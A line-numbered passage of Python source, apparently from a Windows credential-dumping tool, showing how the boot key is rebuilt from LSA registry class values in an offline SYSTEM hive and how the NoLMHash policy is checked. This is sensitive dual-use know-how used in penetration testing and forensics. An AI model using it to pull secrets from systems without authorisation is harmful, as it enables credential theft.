2614 self.__resumeSession.endTransaction() 

2615 

2616 @classmethod 

2617 def __writeOutput(cls, fd, data): 

2618 try: 

2619 fd.write(data) 

2620 except Exception as e: 

2621 LOG.error("Error writing entry, skipping (%s)" % str(e)) 

2622 pass 

2623 

2624 def finish(self): 

2625 if self.__NTDS is not None: 

2626 self.__ESEDB.close() 

2627 

2628class LocalOperations: 

2629 def __init__(self, systemHive): 

2630 self.__systemHive = systemHive 

2631 

2632 def getBootKey(self): 

2633 # Local Version whenever we are given the files directly 

2634 bootKey = b'' 

2635 tmpKey = b'' 

2636 winreg = winregistry.Registry(self.__systemHive, False) 

2637 # We gotta find out the Current Control Set 

2638 currentControlSet = winreg.getValue('\\Select\\Current')[1] 

2639 currentControlSet = "ControlSet%03d" % currentControlSet 

2640 for key in ['JD', 'Skew1', 'GBG', 'Data']: 

2641 LOG.debug('Retrieving class info for %s' % key) 

2642 ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key)) 

2643 digit = ans[:16].decode('utf-16le') 

2644 tmpKey = tmpKey + b(digit) 

2645 

2646 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] 

2647 

2648 tmpKey = unhexlify(tmpKey) 

2649 

2650 for i in range(len(tmpKey)): 

2651 bootKey += tmpKey[transforms[i]:transforms[i] + 1] 

2652 

2653 LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8')) 

2654 

2655 return bootKey 

2656 

2657 

2658 def checkNoLMHashPolicy(self): 

2659 LOG.debug('Checking NoLMHash Policy') 

2660 winreg = winregistry.Registry(self.__systemHive, False) 

2661 # We gotta find out the Current Control Set 

2662 currentControlSet = winreg.getValue('\\Select\\Current')[1] 

2663 currentControlSet = "ControlSet%03d" % currentControlSet 

2664 

2665 # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] 

2666 noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) 

2667 if noLmHash is not None: 

2668 noLmHash = noLmHash[1] 

2669 else: 

2670 noLmHash = 0 

2671 

2672 if noLmHash != 1: 

2673 LOG.debug('LMHashes are being stored') 

2674 return False 

2675 LOG.debug('LMHashes are NOT being stored') 

2676 return True 

2677 

2678def _print_helper(*args, **kwargs): 

2679 print(args[-1])